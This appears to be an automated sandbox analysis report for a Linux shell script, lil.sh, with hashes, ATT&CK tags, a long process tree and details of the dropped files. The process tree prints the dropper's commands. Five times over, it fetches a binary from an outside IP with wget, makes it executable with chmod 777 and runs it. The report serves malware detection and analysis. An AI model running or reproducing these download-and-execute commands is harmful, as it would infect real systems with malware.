d14b8fd63a8933d814039d0c157abe3032fccb34143d8fd94532419dc8f993a5

Analysis

max time kernel
2s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
31/07/2026, 01:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 840B
Sample260731-ccec5aah78
SHA256 d14b8fd63a8933d814039d0c157abe3032fccb34143d8fd94532419dc8f993a5
MD5 3e58340ba7997992f3273e691645b3d8
SHA1 914a8087c722571ddf0ac240179f33f714f7b2be
SHA512 b40527203f6d424ed6785c121772271c51d95e9b2be4bbc66b76e0892d3c3a307d59df7060a43465678bb0981f3fe7c0403285a0e68a1ffadc3b04101eef55b1
TLSH
T1BB01EFC6E210490080DED85C26A72455F431C3C7314B4F79FF6C943A9B94D14B0AAFA8
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1689	chmod
1694	chmod
1699	chmod
1679	chmod
1684	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/4hR	1680	lil.sh
/tmp/V9G	1685	lil.sh
/tmp/aaaE	1690	lil.sh
/tmp/mmo	1695	lil.sh
/tmp/CZk	1700	lil.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/V9G	wget
File opened for modification	/tmp/aaaE	wget
File opened for modification	/tmp/mmo	wget
File opened for modification	/tmp/CZk	wget
File opened for modification	/tmp/lil	lil.sh
File opened for modification	/tmp/4hR	wget

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1498
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:1499
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:1500
- /bin/ls
  ls -l /proc/1008/exe
  2⤵
  PID:1501
- /bin/ls
  ls -l /proc/1018/exe
  2⤵
  - Reads runtime system information
  PID:1504
- /bin/ls
  ls -l /proc/1028/exe
  2⤵
  PID:1505
- /bin/ls
  ls -l /proc/1032/exe
  2⤵
  PID:1506
- /bin/ls
  ls -l /proc/1036/exe
  2⤵
  - Reads runtime system information
  PID:1507
- /bin/ls
  ls -l /proc/1040/exe
  2⤵
  PID:1509
- /bin/ls
  ls -l /proc/1044/exe
  2⤵
  PID:1510
- /bin/ls
  ls -l /proc/1048/exe
  2⤵
  - Reads runtime system information
  PID:1511
- /bin/ls
  ls -l /proc/1053/exe
  2⤵
  - Reads runtime system information
  PID:1512
- /bin/ls
  ls -l /proc/1056/exe
  2⤵
  - Reads runtime system information
  PID:1514
- /bin/ls
  ls -l /proc/1058/exe
  2⤵
  - Reads runtime system information
  PID:1515
- /bin/ls
  ls -l /proc/1061/exe
  2⤵
  - Reads runtime system information
  PID:1516
- /bin/ls
  ls -l /proc/1063/exe
  2⤵
  - Reads runtime system information
  PID:1517
- /bin/ls
  ls -l /proc/1065/exe
  2⤵
  PID:1518
- /bin/ls
  ls -l /proc/1071/exe
  2⤵
  - Reads runtime system information
  PID:1519
- /bin/ls
  ls -l /proc/1075/exe
  2⤵
  - Reads runtime system information
  PID:1520
- /bin/ls
  ls -l /proc/1077/exe
  2⤵
  - Reads runtime system information
  PID:1521
- /bin/ls
  ls -l /proc/1081/exe
  2⤵
  - Reads runtime system information
  PID:1522
- /bin/ls
  ls -l /proc/1086/exe
  2⤵
  PID:1523
- /bin/ls
  ls -l /proc/1093/exe
  2⤵
  PID:1524
- /bin/ls
  ls -l /proc/1097/exe
  2⤵
  PID:1525
- /bin/ls
  ls -l /proc/1098/exe
  2⤵
  - Reads runtime system information
  PID:1526
- /bin/ls
  ls -l /proc/1099/exe
  2⤵
  - Reads runtime system information
  PID:1527
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:1528
- /bin/ls
  ls -l /proc/1100/exe
  2⤵
  - Reads runtime system information
  PID:1530
- /bin/ls
  ls -l /proc/1103/exe
  2⤵
  PID:1531
- /bin/ls
  ls -l /proc/1105/exe
  2⤵
  PID:1532
- /bin/ls
  ls -l /proc/1138/exe
  2⤵
  PID:1535
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  PID:1537
- /bin/ls
  ls -l /proc/1153/exe
  2⤵
  PID:1538
- /bin/ls
  ls -l /proc/1171/exe
  2⤵
  - Reads runtime system information
  PID:1539
- /bin/ls
  ls -l /proc/1172/exe
  2⤵
  - Reads runtime system information
  PID:1540
- /bin/ls
  ls -l /proc/1186/exe
  2⤵
  - Reads runtime system information
  PID:1541
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:1542
- /bin/ls
  ls -l /proc/1203/exe
  2⤵
  - Reads runtime system information
  PID:1543
- /bin/ls
  ls -l /proc/1205/exe
  2⤵
  PID:1544
- /bin/ls
  ls -l /proc/1260/exe
  2⤵
  - Reads runtime system information
  PID:1545
- /bin/ls
  ls -l /proc/1263/exe
  2⤵
  - Reads runtime system information
  PID:1546
- /bin/ls
  ls -l /proc/1272/exe
  2⤵
  PID:1547
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:1548
- /bin/ls
  ls -l /proc/1310/exe
  2⤵
  - Reads runtime system information
  PID:1549
- /bin/ls
  ls -l /proc/1312/exe
  2⤵
  - Reads runtime system information
  PID:1550
- /bin/ls
  ls -l /proc/1330/exe
  2⤵
  PID:1551
- /bin/ls
  ls -l /proc/1351/exe
  2⤵
  - Reads runtime system information
  PID:1552
- /bin/ls
  ls -l /proc/1359/exe
  2⤵
  - Reads runtime system information
  PID:1553
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  PID:1554
- /bin/ls
  ls -l /proc/1391/exe
  2⤵
  PID:1555
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:1556
- /bin/ls
  ls -l /proc/1466/exe
  2⤵
  - Reads runtime system information
  PID:1557
- /bin/ls
  ls -l /proc/1490/exe
  2⤵
  PID:1558
- /bin/ls
  ls -l /proc/1494/exe
  2⤵
  PID:1559
- /bin/ls
  ls -l /proc/1495/exe
  2⤵
  PID:1561
- /bin/ls
  ls -l /proc/1496/exe
  2⤵
  PID:1562
- /bin/ls
  ls -l /proc/1498/exe
  2⤵
  PID:1563
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:1564
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:1565
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  - Reads runtime system information
  PID:1566
- /bin/ls
  ls -l /proc/168/exe
  2⤵
  PID:1567
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  PID:1568
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:1569
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  PID:1570
- /bin/ls
  ls -l /proc/171/exe
  2⤵
  PID:1571
- /bin/ls
  ls -l /proc/172/exe
  2⤵
  PID:1572
- /bin/ls
  ls -l /proc/173/exe
  2⤵
  PID:1573
- /bin/ls
  ls -l /proc/174/exe
  2⤵
  PID:1574
- /bin/ls
  ls -l /proc/175/exe
  2⤵
  PID:1575
- /bin/ls
  ls -l /proc/176/exe
  2⤵
  - Reads runtime system information
  PID:1576
- /bin/ls
  ls -l /proc/177/exe
  2⤵
  PID:1577
- /bin/ls
  ls -l /proc/178/exe
  2⤵
  - Reads runtime system information
  PID:1578
- /bin/ls
  ls -l /proc/179/exe
  2⤵
  PID:1579
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:1580
- /bin/ls
  ls -l /proc/180/exe
  2⤵
  PID:1581
- /bin/ls
  ls -l /proc/181/exe
  2⤵
  PID:1582
- /bin/ls
  ls -l /proc/182/exe
  2⤵
  PID:1583
- /bin/ls
  ls -l /proc/183/exe
  2⤵
  - Reads runtime system information
  PID:1584
- /bin/ls
  ls -l /proc/184/exe
  2⤵
  PID:1585
- /bin/ls
  ls -l /proc/186/exe
  2⤵
  - Reads runtime system information
  PID:1586
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:1587
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:1588
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:1589
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:1590
- /bin/ls
  ls -l /proc/211/exe
  2⤵
  PID:1591
- /bin/ls
  ls -l /proc/212/exe
  2⤵
  - Reads runtime system information
  PID:1592
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:1593
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:1594
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:1595
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:1596
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:1597
- /bin/ls
  ls -l /proc/269/exe
  2⤵
  PID:1598
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:1599
- /bin/ls
  ls -l /proc/278/exe
  2⤵
  - Reads runtime system information
  PID:1600
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:1601
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:1602
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:1603
- /bin/ls
  ls -l /proc/30/exe
  2⤵
  PID:1604
- /bin/ls
  ls -l /proc/31/exe
  2⤵
  PID:1605
- /bin/ls
  ls -l /proc/32/exe
  2⤵
  PID:1606
- /bin/ls
  ls -l /proc/34/exe
  2⤵
  - Reads runtime system information
  PID:1607
- /bin/ls
  ls -l /proc/35/exe
  2⤵
  PID:1608
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  - Reads runtime system information
  PID:1609
- /bin/ls
  ls -l /proc/366/exe
  2⤵
  PID:1610
- /bin/ls
  ls -l /proc/368/exe
  2⤵
  - Reads runtime system information
  PID:1611
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:1612
- /bin/ls
  ls -l /proc/423/exe
  2⤵
  - Reads runtime system information
  PID:1613
- /bin/ls
  ls -l /proc/441/exe
  2⤵
  PID:1614
- /bin/ls
  ls -l /proc/451/exe
  2⤵
  PID:1615
- /bin/ls
  ls -l /proc/452/exe
  2⤵
  - Reads runtime system information
  PID:1616
- /bin/ls
  ls -l /proc/464/exe
  2⤵
  - Reads runtime system information
  PID:1617
- /bin/ls
  ls -l /proc/466/exe
  2⤵
  - Reads runtime system information
  PID:1618
- /bin/ls
  ls -l /proc/467/exe
  2⤵
  PID:1619
- /bin/ls
  ls -l /proc/468/exe
  2⤵
  PID:1620
- /bin/ls
  ls -l /proc/469/exe
  2⤵
  - Reads runtime system information
  PID:1621
- /bin/ls
  ls -l /proc/471/exe
  2⤵
  PID:1622
- /bin/ls
  ls -l /proc/486/exe
  2⤵
  PID:1623
- /bin/ls
  ls -l /proc/499/exe
  2⤵
  - Reads runtime system information
  PID:1624
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:1625
- /bin/ls
  ls -l /proc/500/exe
  2⤵
  PID:1626
- /bin/ls
  ls -l /proc/505/exe
  2⤵
  - Reads runtime system information
  PID:1627
- /bin/ls
  ls -l /proc/506/exe
  2⤵
  PID:1628
- /bin/ls
  ls -l /proc/510/exe
  2⤵
  PID:1629
- /bin/ls
  ls -l /proc/511/exe
  2⤵
  - Reads runtime system information
  PID:1630
- /bin/ls
  ls -l /proc/551/exe
  2⤵
  - Reads runtime system information
  PID:1631
- /bin/ls
  ls -l /proc/552/exe
  2⤵
  - Reads runtime system information
  PID:1632
- /bin/ls
  ls -l /proc/567/exe
  2⤵
  PID:1633
- /bin/ls
  ls -l /proc/576/exe
  2⤵
  - Reads runtime system information
  PID:1634
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  PID:1635
- /bin/ls
  ls -l /proc/599/exe
  2⤵
  - Reads runtime system information
  PID:1636
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:1637
- /bin/ls
  ls -l /proc/613/exe
  2⤵
  - Reads runtime system information
  PID:1638
- /bin/ls
  ls -l /proc/614/exe
  2⤵
  PID:1639
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  PID:1640
- /bin/ls
  ls -l /proc/662/exe
  2⤵
  - Reads runtime system information
  PID:1641
- /bin/ls
  ls -l /proc/664/exe
  2⤵
  - Reads runtime system information
  PID:1642
- /bin/ls
  ls -l /proc/666/exe
  2⤵
  - Reads runtime system information
  PID:1643
- /bin/ls
  ls -l /proc/671/exe
  2⤵
  PID:1644
- /bin/ls
  ls -l /proc/677/exe
  2⤵
  PID:1645
- /bin/ls
  ls -l /proc/693/exe
  2⤵
  PID:1646
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:1647
- /bin/ls
  ls -l /proc/729/exe
  2⤵
  PID:1648
- /bin/ls
  ls -l /proc/737/exe
  2⤵
  PID:1649
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  PID:1650
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  PID:1651
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:1652
- /bin/ls
  ls -l /proc/80/exe
  2⤵
  PID:1653
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  PID:1654
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  PID:1655
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  PID:1656
- /bin/ls
  ls -l /proc/84/exe
  2⤵
  PID:1657
- /bin/ls
  ls -l /proc/86/exe
  2⤵
  PID:1658
- /bin/ls
  ls -l /proc/89/exe
  2⤵
  - Reads runtime system information
  PID:1659
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:1660
- /bin/ls
  ls -l /proc/910/exe
  2⤵
  - Reads runtime system information
  PID:1661
- /bin/ls
  ls -l /proc/912/exe
  2⤵
  PID:1662
- /bin/ls
  ls -l /proc/917/exe
  2⤵
  - Reads runtime system information
  PID:1663
- /bin/ls
  ls -l /proc/920/exe
  2⤵
  PID:1664
- /bin/ls
  ls -l /proc/934/exe
  2⤵
  PID:1665
- /bin/ls
  ls -l /proc/939/exe
  2⤵
  PID:1666
- /bin/ls
  ls -l /proc/953/exe
  2⤵
  - Reads runtime system information
  PID:1667
- /bin/ls
  ls -l /proc/959/exe
  2⤵
  PID:1668
- /bin/ls
  ls -l /proc/972/exe
  2⤵
  PID:1669
- /bin/ls
  ls -l /proc/976/exe
  2⤵
  PID:1670
- /bin/ls
  ls -l /proc/979/exe
  2⤵
  PID:1671
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:1672
- /bin/ls
  ls -l /proc/980/exe
  2⤵
  PID:1673
- /bin/ls
  ls -l /proc/985/exe
  2⤵
  PID:1674
- /bin/ls
  ls -l /proc/995/exe
  2⤵
  PID:1675
- /bin/ls
  ls -l /proc/999/exe
  2⤵
  PID:1676
- /bin/rm
  rm -rf 4hR
  2⤵
  PID:1677
- /usr/bin/wget
  wget http://129.121.110.105/4hR
  2⤵
  - Writes file to tmp directory
  PID:1678
- /bin/chmod
  chmod 777 4hR
  2⤵
  - File and Directory Permissions Modification
  PID:1679
- /tmp/4hR
  ./4hR lilin
  2⤵
  PID:1680
- /bin/rm
  rm -rf V9G
  2⤵
  PID:1682
- /usr/bin/wget
  wget http://129.121.110.105/V9G
  2⤵
  - Writes file to tmp directory
  PID:1683
- /bin/chmod
  chmod 777 V9G
  2⤵
  - File and Directory Permissions Modification
  PID:1684
- /tmp/V9G
  ./V9G lilin
  2⤵
  PID:1685
- /bin/rm
  rm -rf aaaE
  2⤵
  PID:1687
- /usr/bin/wget
  wget http://129.121.110.105/aaaE
  2⤵
  - Writes file to tmp directory
  PID:1688
- /bin/chmod
  chmod 777 aaaE
  2⤵
  - File and Directory Permissions Modification
  PID:1689
- /tmp/aaaE
  ./aaaE lilin
  2⤵
  PID:1690
- /bin/rm
  rm -rf mmo
  2⤵
  PID:1692
- /usr/bin/wget
  wget http://129.121.110.105/mmo
  2⤵
  - Writes file to tmp directory
  PID:1693
- /bin/chmod
  chmod 777 mmo
  2⤵
  - File and Directory Permissions Modification
  PID:1694
- /tmp/mmo
  ./mmo lilin
  2⤵
  PID:1695
- /bin/rm
  rm -rf CZk
  2⤵
  PID:1697
- /usr/bin/wget
  wget http://129.121.110.105/CZk
  2⤵
  - Writes file to tmp directory
  PID:1698
- /bin/chmod
  chmod 777 CZk
  2⤵
  - File and Directory Permissions Modification
  PID:1699
- /tmp/CZk
  ./CZk lilin
  2⤵
  PID:1700
- /bin/rm
  rm -rf lil
  2⤵
  PID:1702

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4hR

Path /tmp/4hR
Size 70KB
SHA256 c70b4b289425d42a082b20f0f8cef59126f2bff80720811c21f33ee66da644f5
MD5 f46baeac4e46f7440cf1e8c7cfe54d3c
SHA1 77de757ca5ec5a22332edaf51cca1cd144190393
SHA512 40cd3087ee34a3a1de66167f9a5f8571996d76413090b623df3da5f2ecd33202effa7bb7cc1284efc0b37b71467c47f345924599c3b4c5922cf8a46d19f081bb
SSDEEP 1536:22ELsQTTvjGZc6QYMdKkhrUBLeJHlI8YQAZc42xFLDEoX7wn07Ge:22ELHTTCUGkhUBCJFIASP0FLDEA7E
TLSH
T1EE633B66B8419F16C6C11777FF1E8389332763E8E3DA7213DA152F5A33CB41A0E2A551
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CZk

Path /tmp/CZk
Size 96KB
SHA256 0b4db3337ac7c2b9ac24875b67054eeac57241d0f26284c8246dd18de18c3f08
MD5 bf76e507cd7bbd733b53e7071b3e2e27
SHA1 b246e728dc595935080aea7827f74967de3b7338
SHA512 4f0d890416574a818d1bf6929d1d2669fc487a1611f2e40f60fa93827df9316e56a9e21f7b8c9820ed80c53f1fc4219787f13c7a8e5f6dd1ed7b5e34763d77de
SSDEEP 1536:8WRD1dZ7IK/cXDB8pEUA34SF89b6MnK4yCfu6wUXMaW0f0gAoWI0AzF:9/0K/cXV8pEn89X8aTgI
TLSH
T1A9A3E94AAF611DB7D81BCD3705ED0B4235CCA60771683B763978C928B68A54F8AD3CB4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

V9G

Path /tmp/V9G
Size 66KB
SHA256 a2ff2bef4f109e5d196188ffb859124614962f084a256e570341acdf4725aff4
MD5 b0e8800a49c55d597e9f4e4d1ba62679
SHA1 5ed6bbb31054dbf4ad34fae21e12deacc3414498
SHA512 570448a3b3548b16fa35ace8a833ae3f78ab32f5dd6c98d9c3c24684a28f1fd21069ccf59385ec0163e961feff20d633adc06e70ce2cb33bfbe38dde111ed580
SSDEEP 1536:6tnobJlWc1j6A7kBWvwpIcqAxuxxAdAgYi+YWBJP4Eif0/hj:Pbhj5GIfAsxxYsYWBJPWf
TLSH
T1C963296BB9819F15C5C5167AFE1E534D33132BBCE3DE7213EE142B642B8B46B0E2A405
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aaaE

Path /tmp/aaaE
Size 79KB
SHA256 cc524db8d2727d261725930fcf991850d45b927ae16688a6057cdb7cf2cb4f9d
MD5 25be702aed86f95ef8cb9a808609c891
SHA1 8f1d52214466fd0fb0989e872ac4d27fa4761448
SHA512 4a371ec50302b178eb7f41d049e5e1bd03f03f4f04e47f480301e50c35eecd43635b59e7fb08ca120e4aeb24089d80342bc2b110736f9cb0ad2a580c8a5cb3a6
SSDEEP 1536:iZn9F4STr5mEWBGfBC4+fvNWsfTROX5VyCpQ62yK0/kdlrBirWVn57x0zv:AF4W8Eg3vwsLRo5VyCG6hZO8WVnBx
TLSH
T18D83186ABD819F05D4D526BAFF1E434A33536BBCE3EE7102DE141B2527CA91B0F2A401
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

mmo

Path /tmp/mmo
Size 96KB
SHA256 62294b09e63f2af34692c8ea734b56fb1f61f7d65a5437559f240a74feb6d7fc
MD5 5ecb5594bf675e94b03759d3644d8060
SHA1 46a7c0ac0534c934d2fc5e122355374ae4c5bf0a
SHA512 4e9eccca55b8088616548ac4585924bd4ddea7e3a2ba887bde576e99dc912c936db7c1cd76986c5117d15d37edfa6e55fb9ded6abc0dbb1ef126f932ae1eebcf
SSDEEP 1536:l4FvllBcdClYFuDY+QE78/1CHGdAQ8M778puFR7TEa40W/HT0yo:gnYFu0+Qeq11dAweuFRn+a
TLSH
T1FAA3D81F2E619F6CF7A9823487B74B34A76D23D122E1C684D1ACD5012E7434E990F7AE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads